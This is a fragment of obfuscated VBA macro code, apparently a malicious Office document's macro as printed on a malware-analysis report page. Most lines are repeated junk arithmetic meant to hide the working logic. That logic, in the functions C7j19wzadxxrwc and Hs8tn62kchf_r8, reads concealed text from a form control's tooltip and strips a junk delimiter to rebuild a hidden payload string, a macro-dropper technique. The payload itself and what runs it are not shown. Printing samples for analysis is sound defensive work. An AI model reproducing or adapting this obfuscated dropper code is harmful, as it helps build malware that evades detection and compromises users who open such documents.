EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
W2glkxttl3xr581of. _
showwindow = Ytx9pgcxpall5v.BorderStyle + Ytx9pgcxpall5v.HelpContextId
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
End Function
Function C7j19wzadxxrwc(Fkbgdg77iyjy3n)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Kvt_06ua5ic1ns3ij = Trim(Conversion.CVar((Fkbgdg77iyjy3n)))
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Drdna8pnccwsr = Split(Kvt_06ua5ic1ns3ij, "[[[3" + "72vfr56" + " 61fs[][" + "324 24 2" + "ds[]a")
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
V15ve6e6o8lei8m = Up64giyli_16rdk + Join(Drdna8pnccwsr, Bizlrmbqev9myjx9x)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
C7j19wzadxxrwc = V15ve6e6o8lei8m
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
End Function
Function Hs8tn62kchf_r8()
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Xytbu0u_1cm = Ytx9pgcxpall5v.P18b5mjrtl2fy.Tabs(1).ControlTipText
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
Hs8tn62kchf_r8 = C7j19wzadxxrwc(Xytbu0u_1cm)
   On Error Resume Next
kgwv13T = CSng(1114 / 646)
EAIg = yZsGSt8B8 / Round(166024340) / 9 * Sqr(4240 * Tan(789) - QEVG126g6 + CSng(dKkk)) / GNaE6YJl - 931 / 8170 + Hex(mtyw334) + (IqW + CLng(36787985))
grKJ3 = (tDtbgQ0k / CDbl(16045298) / (161 - ChrW(6112) + PEsp34 / CSng(9030) / 507 * CDate(224386688)))
xBGvWP9u = Gyl - bstjqD2jE
Set wDXZ4 = Ytx9pgcxpall5v.Maj92u8rb4yom99
AYOZk77j = FQLI24 + 115842212
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.